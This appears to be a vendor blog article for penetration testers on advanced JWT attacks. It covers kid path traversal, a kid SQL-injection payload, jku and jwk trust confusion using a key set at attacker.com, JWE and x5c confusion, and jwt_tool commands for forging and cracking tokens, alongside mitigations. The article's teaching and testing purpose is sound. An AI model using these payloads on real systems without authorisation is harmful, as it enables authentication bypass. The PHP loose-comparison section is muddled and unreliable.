Last updated: April 26, 2026
Beyond the classic alg:none and RS256-to-HS256 attacks, modern JWT implementations face newer attack vectors — kid path traversal, JWE confusion, embedded JWK trust, x5c header confusion. This article covers the advanced JWT attacks for 2026 pentesters.
kid path traversal
The kid (Key ID) header points to a key. If the server uses kid as a file path or DB lookup without sanitisation:
# JWT header:
{"alg":"HS256","kid":"../../../../dev/null","typ":"JWT"}
# Server reads /dev/null as the key (empty)
# Attacker signs with empty string HMAC key
# Server verifies — empty key matches empty key
Test by setting kid to ../../../etc/passwd or known-content paths. The server’s HMAC verification with that file’s content as key is then crackable or known.
kid SQL injection
# If kid is concatenated into SQL:
SELECT key FROM keys WHERE id = '$kid'
# Attacker JWT with:
{"kid":"x' UNION SELECT 'attackersecret'-- "}
# DB returns 'attackersecret', server uses that to verify
# Attacker signed with 'attackersecret' offline; verification succeeds
jku / x5u trust confusion
JWT supports jku (JWK Set URL) and x5u (X.509 URL) headers — pointers to where the verifying key lives. If server fetches keys from these URLs without allow-list:
# Attacker:
1. Host JWK Set at https://attacker.com/jwks.json
2. Generate JWT with header:
{"alg":"RS256","kid":"1","jku":"https://attacker.com/jwks.json"}
3. Sign with attacker's private key (matching public key in attacker's JWKS)
4. Send to target. Target fetches JWKS, finds key with kid:1, verifies, accepts
Embedded JWK (jwk header) confusion
Some libraries trust jwk header — the public key embedded directly in the JWT itself.
# Attacker JWT:
{
"alg":"RS256",
"jwk":{"kty":"RSA","e":"AQAB","n":"<attacker's public key>"}
}
# Library: "the JWT carries its own verification key, use it"
# Verification trivially succeeds; no validation of WHO published the key
Mitigation: never trust headers for key location; pin the key set server-side.
JWE confusion
JWE (JSON Web Encryption) is the encrypted variant. Some libraries handle JWS (signed) and JWE (encrypted) differently; some treat them the same. If the server’s JWE implementation doesn’t validate the encryption algorithm strictly, downgrade attacks apply (RSA-OAEP with attacker-chosen ciphertext, ECDH key agreement bypasses).
x5c header injection
The x5c header carries the certificate chain. If the server uses x5c to verify (rather than a pinned key):
- Attacker provides their own cert chain
- If the server trusts the signing CA in the chain (or doesn’t validate the chain), attacker-controlled keys are accepted
None-encoded confusion (PHP-specific)
# PHP's json_decode silently converts JSON strings to integer 0 in some flows
# Server logic:
if (verify($jwt) === 0) { ... allow ... }
# Attacker creates JWT that fails verification but returns string error
# String compares equal to 0 in loose comparison
# Bypass
Practical testing — jwt_tool
# Install
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool && pip install -r requirements.txt
# Comprehensive scan
python3 jwt_tool.py <TOKEN> -M at # All tampers
# Specific attacks
python3 jwt_tool.py <TOKEN> -X a # alg:none
python3 jwt_tool.py <TOKEN> -X k # kid injection
python3 jwt_tool.py <TOKEN> -X i # jku injection
python3 jwt_tool.py <TOKEN> -X j # jwk header injection
python3 jwt_tool.py <TOKEN> -C -d wordlist.txt # crack HMAC
The fix
- Hard-code expected algorithm — never trust alg from header
- Pin the verification key set server-side — never trust jku, x5u, jwk, x5c from JWT
- Validate kid against expected key identifiers (allow-list); never use as path or SQL parameter
- Strong HMAC keys if using HS256 — 256+ random bits
- Short-lived tokens — 5-15 minutes
The takeaway
JWT is a security-critical primitive that is easy to misconfigure. Run jwt_tool against every JWT in your environment. The advanced attacks above (kid traversal, jku injection, JWE confusion) are present in real production code in 2026. Library updates plus hard-coded algorithm + pinned keys closes the bug class.
Get a VAPT scoping call
Senior practitioner-led VAPT — not a checklist run by juniors. CVSS-scored findings, free retest, attestation letter. India's SMBs and SaaS teams.